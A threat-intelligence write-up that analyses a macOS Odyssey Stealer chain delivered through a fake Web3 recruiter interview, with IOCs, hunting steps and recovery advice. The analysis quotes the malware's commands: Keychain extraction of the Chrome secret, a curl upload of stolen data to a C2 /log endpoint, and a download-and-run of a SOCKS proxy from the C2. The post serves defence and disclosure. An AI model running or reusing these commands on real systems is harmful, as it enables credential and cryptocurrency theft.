From GAPIUpdate to Odyssey Stealer: inside a macOS wallet-theft chain

Threat intelligenceMalwaremacOS
by Cameron Coller and Ben Folland · 48 min read
From GAPIUpdate to Odyssey Stealer: inside a macOS wallet-theft chain

Overview#

A fake Web3 interview selected its payload by operating system. Windows received signed ClickOnce. macOS received GAPIUpdate.dmg, an Odyssey Stealer build designed to take passwords, browser sessions, Telegram data, and cryptocurrency wallets before accepting remote tasks and replacing trusted wallet applications.

This is the macOS companion to From fake interview to signed ClickOnce: inside a three-payload Windows chain. That investigation began with a cryptocurrency employee who was serving notice and visibly looking for work on LinkedIn. A fake recruiter used LinkedIn, Calendly, video calls, and a technical assessment presented as a Google Sheet. The sheet was a Google Apps Script web app that profiled the visitor, checked for browser wallet extensions, and selected a platform-specific installer.

The Windows branch was executed in the investigated incident and was followed by private-key compromise and a wallet drain across six chains. The same delivery page exposed a macOS branch.

The analyzed disk image was previously hosted at:

https://github.com/ariasalmonterachel13/gapi/releases/download/12.05/GAPIUpdate.dmg

The asset is no longer available from GitHub. A local clone preserved 26 other disk images from the same releases. Static analysis found that all 27 are malicious builds from the same lineage. All 27 contain the same two compiled command-and-control (C2) hosts, collection and persistence paths, task routes, and Ledger and Trezor replacement packages. Each build has a different campaign identifier and different encrypted bytes.

FindingDetail
Initial accessFake Web3 recruiter, LinkedIn, Calendly, video interviews, malicious assessment
Lure surfaceGoogle Apps Script presented as a Google Sheet
macOS deliveryProduct-themed DMG hosted in GitHub releases
Reference sampleGAPIUpdate.dmg, SHA-256 18610847efe2876714e77458503e487396408547abd0663e96f0b741f58d7107
MalwareUniversal x86_64 and arm64 Mach-O, Odyssey Stealer lineage
ExfiltrationPOST http://86[.]54[.]25[.]213/log
TaskingAppleScript control loop polling 192[.]253[.]248[.]181 every 60 seconds
CollectionBrowsers, Keychain, Safari, Notes, Telegram, and 16 desktop wallets
Persistence/Library/LaunchDaemons/com.xdivcmp.plist
ProxyUniversal Go SOCKS version 5 (SOCKS5) and yamux module served from /web/socks
ReinfectionNear-identical Odyssey build decoded to /tmp/hello
Wallet replacementLedger Live, Ledger Wallet, and Trezor WebKit loaders
Release result27 of 27 DMGs malicious; same normalized C2 configuration

The family assessment is Odyssey Stealer in the Atomic macOS Stealer (AMOS) lineage

From interview to macOS execution#

The recruiter did not begin with a malware attachment. The malicious file appeared only after the target had passed through a credible hiring workflow and reached what looked like a technical problem inside a Google-hosted document.

Candidate Verification overlay on a Google Sheets-style assessment, including a GAPI-CON-212 connector error
The assessment used a connector error to justify installing a Google API helper

The page used a connector failure and a fake component update to explain why additional software was required. The staged error made the download look like a required step in the assessment.

Execution chain

Fake interview to Odyssey theft and remote tasking

A recruiter representing a fictitious Web3 protocol approached an employee whose job-seeking status was visible on LinkedIn. Calendly and video calls made the process resemble ordinary hiring.

The recruiter then supplied technical-assessment material presented as a Google Sheet. The delivery was personally staged rather than sent as a mass-mail attachment.

Observed evidence

  • LinkedIn approach to an employee serving notice
  • Calendly-scheduled interview
  • video calls before the technical assessment
  • assessment framed as a Google Sheet

A staged Gatekeeper exception#

Every cloned DMG contains the same 595,167-byte background image. It claims an "Apple certified Developer" and gives four instructions. Open "System Settings", select "Privacy & Security", scroll to "Security", choose "Open" or "Open Anyway", and enter the administrator password.

Malicious DMG background claiming an Apple certified developer and instructing the user to bypass Gatekeeper
The same Gatekeeper-bypass background appears in all 27 disk images

GAPIUpdate.app has an ad-hoc CodeDirectory with no Certificate Management System (CMS) signature, Apple Team ID, Developer ID, or verifiable publisher. Its Info.plist contains only sparse executable, package-type, and icon metadata. It has no normal bundle identifier, marketing version, or vendor record.

Gatekeeper is Apple's macOS check that unsigned apps cannot launch without the user's approval. It still permits a user to make an explicit exception. The background presents that exception as a normal setup step and prepares the victim for the later password dialog.

Reference sample identity#

PropertyValue
DMGGAPIUpdate.dmg
DMG size796,661 bytes
DMG SHA-25618610847efe2876714e77458503e487396408547abd0663e96f0b741f58d7107
ApplicationGAPIUpdate.app
ExecutableGAPIUpdate.app/Contents/MacOS/GAPIUpdate
Executable size393,072 bytes
Executable SHA-25615afe14b5db2896d35a0c4f3139db85158da120fa90613c975c88f10bbbcc420
ArchitectureUniversal Mach-O, x86_64 and arm64
SignatureAd hoc; no CMS signature or Team ID
CodeDirectory identifierGAPIUpdate-555549442ab7127ddd9f3f14951adb42ba3222f5
Build ID9f2ab1d9b772405185e87d668daebcc9

Inside GAPIUpdate#

The main executable is a C++ Mach-O that starts directly with host discovery and credential acquisition. There is no legitimate Google API update path behind the window dressing.

Interactive host and network sequence

GAPIUpdate host and network sequence

The first-stage Mach-O rejects a USER value that is empty or root, constructs the current home directory, and records the macOS version before collection begins.

Its two compiled HTTP origins are defaults. Values in ~/.phost, ~/.bhost, ~/.username, ~/.botid, and ~/.pwd can redirect or resume later stages without rebuilding the executable.

Observed evidence

  • USER
  • /Users/<user>
  • sw_vers -productVersion
  • ~/.phost → http://86[.]54[.]25[.]213
  • ~/.bhost → http://192[.]253[.]248[.]181
  • ~/.username, ~/.botid, ~/.pwd

Password theft and privilege enablement#

The binary exits if USER is empty or root, constructs the current home directory, and checks the macOS version. It reads ~/.pwd when present and tests the value with dscl . authonly. Otherwise, it can display the following hidden-answer AppleScript prompt up to 50 times:

Please enter device password to continue.
Title: Password Request
Timeout: 150 seconds

The check ensures that the malware collects the real login password rather than an arbitrary answer. A valid value is written into the staged collection and can be piped into sudo -S during persistence installation or wallet removal.

It also attempts to obtain Chrome's Keychain secret:

security find-generic-password -ga "Chrome" 2>&1 >/dev/null |
sed -n "s/^password: \"\(.*\)\"/\1/p"

The recovered value is staged as masterpass-chrome. This gives the operator the encrypted browser databases and a key that can help decrypt them.

What it collects#

Collection

Six groups of data collected from one Mac

Recovered from GAPIUpdate.dmg

The complete targeted collection-path list and all 223 embedded Chromium extension IDs are included in TTPs and IOCs.

Staging and exfiltration#

All collection converges beneath /tmp/lksopo/. The malware creates a ZIP archive with Apple's native ditto utility and uploads it with curl:

ditto -c -k --sequesterRsrc /tmp/lksopo /tmp/lksopo.zip

curl -X POST \
  -H "buildid: 9f2ab1d9b772405185e87d668daebcc9" \
  -H "username: xxx" \
  --data-binary @/tmp/lksopo.zip \
  http://86[.]54[.]25[.]213/log

The upload uses plain HTTP. Failed attempts are retried up to ten times with 60-second delays. The binary then removes the collection directory and archive.

Persistence and control loop#

The compiled task host is http://192[.]253[.]248[.]181. After exfiltration, the first-stage binary requests /api/v1/getscptraw and runs a nonempty response in the background with nohup. The active endpoint returned a 4,354-byte AppleScript task with SHA-256 227e5a628ac131e4825d2a5fa8a7a051742a8c304f5cbdb06a3858b0e88c5054. Its internal application identifier is xxxblyat.

The first-stage persistence path appends the bot ID to /api/v1/getscpt/, writes the response to /tmp/starter, and uses the captured password with sudo -S. It copies the file to /Library/LaunchDaemons/com.xdivcmp.plist and starts it with launchctl bootstrap system. This gives the server-supplied control loop system-level persistence across logins and reboots.

The components exchange configuration through hidden files in the victim's home directory:

  • ~/.phost
  • ~/.bhost
  • ~/.botid
  • ~/.username
  • ~/.pwd

The compiled IP addresses are defaults. .phost and .bhost allow the operator to replace them without rebuilding the first-stage Mach-O. The recovered AppleScript reads these files, joins the bot system when ~/.botid is absent, and polls /api/v1/bot/actions/<botid> every 60 seconds with User-Agent: bot.

The delivered control loop implements four actions:

  • repeat retrieves and runs another Odyssey stealer build
  • doshell passes the supplied comment directly to do shell script
  • enablesocks5 downloads and launches the proxy module
  • uninstall writes + to ~/.uninstalled and exits

SOCKS5 proxy#

The enablesocks5 branch downloads /web/socks to /tmp/socks, makes it executable, and starts it in the background:

curl -o /tmp/socks http://192[.]253[.]248[.]181/web/socks
chmod +x /tmp/socks
/tmp/socks > /dev/null 2>&1 & disown

The recovered file is a 5,133,200-byte universal Go Mach-O containing Intel and Apple Silicon slices. The Go module reads ~/.botid and ~/.bhost, implements SOCKS version 5 (SOCKS5), and uses yamux to multiplex connections through one session. Protocol strings cover SOCKS authentication and connect, bind, and associate requests. The operator can use this channel as a proxy through the infected Mac.

The file has stripped Go build metadata and obfuscated main function names, but its protocol strings and library structure expose its role. Censys recovered the same Odyssey proxy stage with a different file size and hash. The shared architecture and changed artifact are consistent with a rebuilt module.

Reinfection with another Odyssey build#

The delivered repeat action requests /api/v1/bot/repeat/xxx with the current panel address in an HTTP header, then pipes the response to bash. The returned one-line script decodes a base64 payload to /tmp/hello, marks it executable, and launches it.

The decoded file is a 393,040-byte universal Mach-O with SHA-256 12caefbea6ece570429eb9c90a0ca3680fc35508d78c7099b2bccf2ad24906f4. Comparison against the original GAPIUpdate executable found 24,939 matching normalized instructions out of 24,975 in the original, a sequence similarity of 99.89%. It retains the same collection paths, /tmp/lksopo staging, /log exfiltration, task routes, wallet replacement code, and hidden configuration files.

This build uses the panel username xxx and adds repeat: true to the exfiltration request. Reinfection therefore runs another build of the same Odyssey stealer rather than a separate malware family.

Wallet application replacement#

The code checks for Ledger Live, Ledger Wallet, and Trezor Suite. For an installed target, it downloads the matching archive, terminates the running process, removes the legitimate application, and expands the remote package into /Applications:

http://192[.]253[.]248[.]181/web/ledger.zip
http://192[.]253[.]248[.]181/web/ledgerwallet.zip
http://192[.]253[.]248[.]181/web/trezor.zip

All three archives were retrieved from the incident task host and inspected without running them:

ReplacementArchive SHA-256Embedded executable SHA-256
Ledger Live4c5ca7b3be8239fc96917bcb090da8a7b788bd54b209287fbe0fba92bde18c35f3c9ea81ca7504511cd82937b05d6c9fb7638687bf19b72956ca53aa0f2a939f
Ledger Walletfb6c3d53bacd058e0741cdf841b0c20892c8d5461d439e445f664b0ee83f28499553281363d5831ac3c8ec2e966cf501317c5977f7ba064818f5930e4b698370
Trezor Suite142fb93bc90b6d0c12342bdff94c69b084bae98392e6b74aa73b99b49f91ea156ee52496c7350f50f2e937afb563538cb076b358a1dba32d28851d6638c19b88

Each archive contains a minimal application with a universal SwiftUI and WebKit executable. The applications enable arbitrary network loads and contain none of the hardware communication or transaction-signing code expected from genuine wallet software. Their short repeating-key XOR decoder recovers ~/.phost, ~/.username, and one of two routes:

http://86[.]54[.]25[.]213/ledger?username=xxx
http://86[.]54[.]25[.]213/trezor?username=xxx

The fake Ledger flow asks for a 24-word recovery phrase. The Trezor flow offers 12-, 18-, and 24-word recovery options and also collects the passphrase for a hidden wallet. Both send JSON containing the username, seed, passphrase, and wallet type to /ledger-seed. SlowMist independently analyzed packages from the same URLs and documented the same WebKit wallet-theft workflow.

Obfuscation#

Most operational strings do not appear as plaintext. Each one is stored as encrypted bytes and decoded immediately before use with a small xorshift32 loop:

state ^= state << 13
state ^= state >> 17
state ^= state << 5
state |= 1
plaintext[i] = ciphertext[i] XOR (state & 0xff)

Nearly every string has its own short-lived key stream. The decoder is copied inline throughout the program instead of called from one obvious function. Ordinary string searches therefore find little, and the decompiler view looks much larger and noisier than the underlying behavior.

The builder also regenerates the seed and encrypted bytes for each string, along with the Mach-O unique identifier, ad-hoc signing identifier, and campaign build ID. Two builds can therefore behave identically while having different hashes throughout.

The configuration extractor used for this analysis does not depend on one sample's addresses. It identifies the loop structure, resolves the nearby seed and encrypted data, emulates xorshift32, and classifies the recovered strings. It recovered every C2 and configuration field from all 27 DMGs.

The scheme obscures the strings but does not create a cryptographic boundary. Once the loop and seed are present in the executable, static recovery is repeatable.

All 27 DMGs share one configuration#

The releases contain a mixture of Google, Microsoft Teams, WeChat, Kakao, DocSend, and generic installer names. The branding changes the lure, not the payload.

Across the full set:

  • all 27 configurations were extracted successfully
  • all 27 use 86[.]54[.]25[.]213 as the compiled primary/upload host
  • all 27 use 192[.]253[.]248[.]181 as the compiled bot/task host
  • all 27 use /log, /api/v1/getscptraw, and /api/v1/getscpt/
  • all 27 reference the same three Ledger and Trezor archives
  • all 27 use /tmp/lksopo/ and com.xdivcmp.plist
  • all 27 have unique build IDs
  • all 27 have unique DMG and embedded Mach-O SHA-256 hashes
  • all 27 are universal x86_64 and arm64 applications with ad-hoc signatures

26 builds have exactly the same recovered normalized string set. The older 10.05/Installer.dmg contains that complete set plus ten password and Chrome diagnostic strings. It has no additional C2 and no change in collection, tasking, persistence, or wallet replacement. Each DMG's build ID is listed with its SHA-256 hash in TTPs and IOCs.

Builder mutation explains the unique hashes and per-string seeds. Hash-only detections will fragment this set even though its recovered behavior is stable.

The panel behind the binaries#

The recovered React panel bundle provides builder, bot, log, wallet, seed, cookie-restoration, SOCKS, guest-link, and download views. The task retrieved from this infrastructure implemented repeat, doshell, enablesocks5, and uninstall.

During analysis, the primary host exposed the panel login at http://86[.]54[.]25[.]213/login. The page carried no product logo and displayed the message "THE CIS DOES NOT KNOCK AND WILL NEVER KNOCK."

Exposed Odyssey panel login page at 86[.]54[.]25[.]213
The Odyssey panel login exposed on the primary host

The client-side JavaScript bundle was also directly accessible at /assets/CZQYjPN-.js. Its MACOS STEALER notification template included fields for the victim and build identifiers, IP address, country, cryptocurrency balance, cookies, passwords, wallets, domains, password managers, Telegram, Notes, and collection time. Other visible settings covered Telegram bot and log channels, cryptocurrency checks, a configurable knock message, and FTP credentials.

Exposed Odyssey panel client-side source showing the MACOS STEALER template
The exposed JavaScript bundle contains the panel's MACOS STEALER notification template

The first-stage Mach-O contains collection, upload, raw task execution, LaunchDaemon installation, and wallet replacement code. The retrieved AppleScript adds the 60-second control loop, while the downloaded Go module provides the native SOCKS5 and yamux implementation.

0xlibris independently analyzed an Odyssey infection chain with the same xorshift32 string scheme, /tmp/lksopo staging, lowercase buildid and username headers, /log upload, hidden configuration files, raw task route, and bot host 192[.]253[.]248[.]181. That build used nqowf[.]com as its primary host and prior as its panel username. The researcher also recovered the public React frontend and documented the same affiliate portal.

Censys mapped the wider Odyssey operation as a malware-as-a-service (MaaS) platform with a shared React panel, per-affiliate builds, /log exfiltration, bot tasking, wallet logs, and Ledger and Trezor replacement. Its recovered builder offered unix, .app, and ClickFix-oriented Command payloads. Those options explain how closely related builds can appear as AppleScript, shell commands, or native applications while retaining the same service model.

From AMOS to Poseidon and Odyssey#

AMOS, Poseidon, and Odyssey are related labels rather than independent code families. Atomic macOS Stealer (AMOS) is the parent lineage. Censys reports that a developer associated with AMOS left the project in early 2024, launched Poseidon as a competing service in mid-2024, and sold that platform in August 2024. New operators reportedly rebranded Poseidon as Odyssey in mid-2025.

PeriodReported development
Mid-2023The developer later associated with Poseidon worked on AMOS
Mid-2024Poseidon launched as an AMOS-derived competing MaaS platform
Aug 2024The Poseidon platform was reportedly sold to an unknown buyer
Mid-2025

New operators reportedly rebranded the Poseidon platform as Odyssey

2025–26

Odyssey deployments added or expanded persistent tasking, SOCKS proxy support, and wallet-application swapping

The shared history explains why vendors can classify the same payload differently. Browser and wallet paths, Keychain theft, fake password dialogs, and large extension target lists descend from the AMOS codebase. The Odyssey label is more specific when the payload also matches the later panel, affiliate model, task API, persistence workflow, and wallet-replacement architecture.

Huntress independently analyzed the exact GAPIUpdate executable, including SHA-256 15afe14b5db2896d35a0c4f3139db85158da120fa90613c975c88f10bbbcc420 and the same two C2 IP addresses. Its social engineering differed from the fake job interview. An account impersonating a CoinDesk executive approached a researcher through X after Black Hat and DEF CON, proposed a fictitious conference, and shared a Google Doc with an Apps Script "Document Decryption" sidebar. A failed encryption-key workflow presented ClickFix instructions and a manual update that led to the same GAPIUpdate.dmg. A later DocSend-themed lure delivered the same macOS stealer through a counterfeit installer.

Huntress described the disk image as highly consistent with AMOS. That assessment does not conflict with the Odyssey classification used here. AMOS identifies the broader code lineage; Odyssey identifies the later Poseidon-derived service, panel, and tasking implementation evidenced by this sample.

The xxxblyat affiliate#

The affiliate handle linked to this Odyssey panel activity is xxxblyat. The same handle appears in several otherwise distinct macOS stealer campaigns.

SourceWhere xxxblyat appeared
TheStableFoundation, crypto-scamsA January 2026 Maven 11 executive-impersonation campaign using speeka[.]app; the repository records xxxblyat as the internal script ID for an AMOS/Realst stealer
Macs-Hit, 2026 AMOS variantA ClickFix-delivered AMOS variant from ptython[.]com; the report names xxxblyat as the affiliate and campaign identifier and lists 217[.]119[.]139[.]117 as its C2
berk.eth, attempted social-engineering infectionA March 2026 approach using the BlockLayerPod and Web3Unhashed identities; the post identifies the attempted Atomic Stealer delivery as affiliate xxxblyat
Gi7w0rm, ClearFake-associated Odyssey panelA ClearFake smart-contract delivery using Odyssey C2 77[.]90[.]185[.]24 and the same logo-free panel; the post names xxxblyat as the associate
Censys, Odyssey Stealer operationAn Odyssey sample using something0x[.]at contained affiliate username admin and build ID xxxblyat; Censys treated it as a possible administrator or test build

From a successful theft to the wider ecosystem#

The original fake-interview incident ended in private-key theft after the target executed the Windows branch. The macOS branch from the same lure targeted browser sessions, cryptocurrency wallets, and the credentials used to control them.

SourceMatching evidenceInterpretation
SlowMist, Google Sites community-application campaignPayload fetched from 86[.]54[.]25[.]213; xorshift32 strings; /tmp/lksopo; POST /log; browsers, Notes, Keychain, Telegram, and walletsThe same primary host and first-stage behavior appeared behind a different Google-hosted social lure
SlowMist, Telegram and wallet follow-upBoth C2 IPs; the exact three /web/*.zip packages; Telegram session restoration; offline Atomic Wallet decryption; Ledger and Trezor WebKit replacementsIndependent package analysis confirms how the stolen data and wallet-swap paths can become account and asset control
0xlibris, Odyssey infection chain192[.]253[.]248[.]181; /api/v1/getscptraw; hidden host files; xorshift32; /tmp/lksopo; same panel, but nqowf[.]com primaryThe bot host and service workflow persist while the primary host and affiliate identity rotate
Malwarebytes, fake ChatGPT downloadOdyssey delivered from another dual-platform lure; 192[.]253[.]248[.]181; browser, Telegram, wallet, and wallet-replacement behaviorThe same task infrastructure crossed into a separate fake-software campaign; that sample used a different primary host
Gi7w0rm, ClearFake-associated Odyssey panelSame logo-free panel at 77[.]90[.]185[.]24/login; affiliate string xxxblyatPanel and affiliate tooling move independently from one malware host
Huntress, post-DEF CON Google Doc campaignExact GAPIUpdate executable hash; both C2 IPs; /tmp/lksopo; LaunchDaemon persistence; X, Google Doc, ClickFix, and DocSend luresThe same malware was reused with different social engineering; Huntress classified it under the broader AMOS lineage
Censys, Odyssey Stealer operationMatching React panel model, builder types, affiliate fields, /log, bot API, SOCKS tasking, and wallet replacementIndependent infrastructure research places the panel and tasking architecture in the Odyssey service ecosystem
Security Alliance, cold-reachout campaigns targeting cryptoCold outreach, compromised social accounts, fake investment and meeting workflows, Google Apps Script decryption panels, GAPI_Update branding, and MacSync/Odyssey/AMOS payloadsThe social engineering pattern spans multiple operators and malware services; Security Alliance assesses that at least one Russia-based MaaS operator is imitating DPRK operations

Panel username fields also vary. SlowMist's first sample used night, 0xlibris recovered prior, and this GAPIUpdate set uses xxx. Those configuration values are separate from the xxxblyat affiliate handle. The repeated paths, archive names, headers, panel views, and bot host are more stable lineage signals than any single username or file hash.

SlowMist restored the stolen Telegram tdata and reproduced an already-authorized session without initiating a new login. In a lab, the researchers also decrypted an exfiltrated Atomic Wallet database with passwords taken from the same host. The wallet packages recovered in this investigation confirm the other half of that workflow: thin WebKit clients loaded attacker-controlled Ledger and Trezor pages and sent captured recovery material to /ledger-seed.

Security Alliance documented the broader cold-reachout ecosystem across podcast invitations, investment proposals, fake meetings, document tools, compromised X and Telegram accounts, and Google-hosted workflows. Its researchers observed Google Apps Script panels that simulated document decryption or software updates, as well as GAPI_Update lure branding. They assess that at least one Russia-based MaaS operator is copying effective DPRK social-engineering methods and attempting to resemble DPRK operations, both to improve conversion and to mislead attribution.

The report also cautions against treating every similar front end as one campaign. Its Maven11 Google Docs cluster used the GAPI_Update name but delivered MioLab malware, while separate fake Google Workspace and meeting-scheduling clusters delivered MacSync/Odyssey/AMOS. The overlap is therefore strongest at the tradecraft and lure-service layers, not as proof that every GAPI-branded payload is the same binary or operator.

These campaigns used fake interviews, community applications, ChatGPT downloads, document-decryption panels, and ClickFix pages to deliver financially motivated malware built for cryptocurrency theft. The delivery changed, while the stealer, task backend, panel, and wallet replacement workflow remained reusable.

Detection and response#

High-value behavioral sequence#

  1. a product-themed DMG arrives from a GitHub release or unfamiliar download origin
  2. the user is instructed to use "Open Anyway" or run an unsigned application
  3. the application spawns osascript for a hidden-answer password dialog
  4. dscl . authonly validates candidate passwords
  5. one process reads Keychain, browser, Safari, Notes, Telegram, and wallet paths
  6. ditto creates /tmp/lksopo.zip
  7. curl sends the archive to a /log endpoint with lowercase buildid and username headers
  8. a raw script is retrieved from /api/v1/getscptraw and run through nohup
  9. a file is written to /Library/LaunchDaemons/ and bootstrapped with launchctl
  10. the AppleScript stage polls /api/v1/bot/actions/<botid> every 60 seconds
  11. the enablesocks5 action writes a universal Go proxy to /tmp/socks
  12. the repeat action decodes another Odyssey build to /tmp/hello
  13. Ledger or Trezor applications are terminated, removed, and replaced with WebKit loaders that capture wallet recovery material

Host hunting#

Search for:

  • /tmp/lksopo/, /tmp/lksopo.zip, /tmp/starter, /tmp/socks, and /tmp/hello
  • /Library/LaunchDaemons/com.xdivcmp.plist
  • ~/.pwd, ~/.botid, ~/.phost, ~/.bhost, ~/.username, and ~/.uninstalled
  • the fake prompt title Password Request
  • dscl . authonly initiated by an application from a mounted disk image
  • unexpected replacement or recent modification of Ledger Live, Ledger Wallet, or Trezor Suite
  • wallet applications loading /ledger?username= or /trezor?username= and posting to /ledger-seed
  • an ad-hoc application whose name imitates a legitimate installer or collaboration product

Recommendations#

Isolate the Mac and preserve volatile and disk evidence before cleanup. From a separate trusted device, terminate sessions, rotate the macOS password and every credential accessible through browsers, Keychain, Notes, Telegram, developer tooling, and cloud applications.

Treat every wallet database, private key, and recovery phrase accessible from the host as compromised. Generate replacement wallets on a clean hardware device and transfer assets. If a Ledger or Trezor replacement may have been installed, do not open it. Verify signatures and reinstall only from the official vendor after the system has been rebuilt.

Password changes do not invalidate stolen private keys, and they may not invalidate every stolen browser or Telegram session. A full macOS erase and reinstall is the safest recovery path after evidence preservation.

Summary#

A fake recruiter moved a cryptocurrency employee through LinkedIn contact, Calendly scheduling, video interviews, and a Google-hosted technical assessment. The assessment profiled the visitor and selected an operating-system-specific payload. Windows received signed ClickOnce. macOS received GAPIUpdate.dmg from a GitHub release.

The mounted disk image claimed an Apple certified developer and taught the victim to bypass Gatekeeper. Its application was only ad-hoc signed. Once launched, the universal Mach-O validated a stolen or prompted macOS password, recovered Chrome decryption material, and collected browsers, Keychain, Safari, Notes, Telegram, host data, 223 extension targets, and 16 desktop-wallet families.

The malware staged the collection under /tmp/lksopo, uploaded it to 86[.]54[.]25[.]213/log, and installed server-supplied tasking as a LaunchDaemon with the stolen password. The recovered AppleScript polled for commands every 60 seconds. Its delivered actions could run shell commands, launch a Go SOCKS5 proxy, or reinfect the host with another near-identical Odyssey build.

The retrieved Ledger Live, Ledger Wallet, and Trezor Suite replacements were WebKit loaders rather than wallet clients. They opened phishing pages on the primary host and submitted recovery phrases and hidden-wallet passphrases to /ledger-seed.

Static configuration extraction linked all 27 cloned DMGs to the same payload lineage and exact C2 pattern. The lures and build IDs changed, while the collection targets, paths, panel model, task routes, and wallet packages remained stable. Huntress analyzed the exact GAPIUpdate executable under the broader AMOS label, while Censys, SlowMist, 0xlibris, Malwarebytes, and Gi7w0rm independently documented matching infrastructure, behavior, or panel architecture across the Odyssey ecosystem.

The successful wallet theft in the original incident followed the Windows branch. The macOS branch gave the same lure another way to steal cryptocurrency credentials, retain access through remote tasks, and replace wallet interfaces.

TTPs and IOCs#

The tactics, techniques, and procedures (TTPs) below use MITRE ATT&CK technique identifiers. Indicators of compromise (IOCs) are grouped into exportable lists. The collection paths and extension IDs come from the analyzed GAPIUpdate sample.

References#

Acknowledgments#

Initial research and malware analysis by the Komainu Security Incident Response Team (KSIRT). Public work from 0xlibris, Censys, Huntress, Security Alliance, SlowMist, Malwarebytes, Gi7w0rm, Red Canary, and Jamf Threat Labs provided comparison points across the Odyssey ecosystem.

Evidence has been preserved and shared with relevant parties. Identifying information about the affected organization is withheld.

For questions, related intelligence, or sightings of this campaign, contact [email protected].

For press inquiries, contact [email protected].

Domain protection

Detect adversary infrastructure while it is being staged.

Have I Been Squatted helps security teams detect lookalike domains, certificate and DNS changes, and staging infrastructure, investigate the evidence, and coordinate takedowns.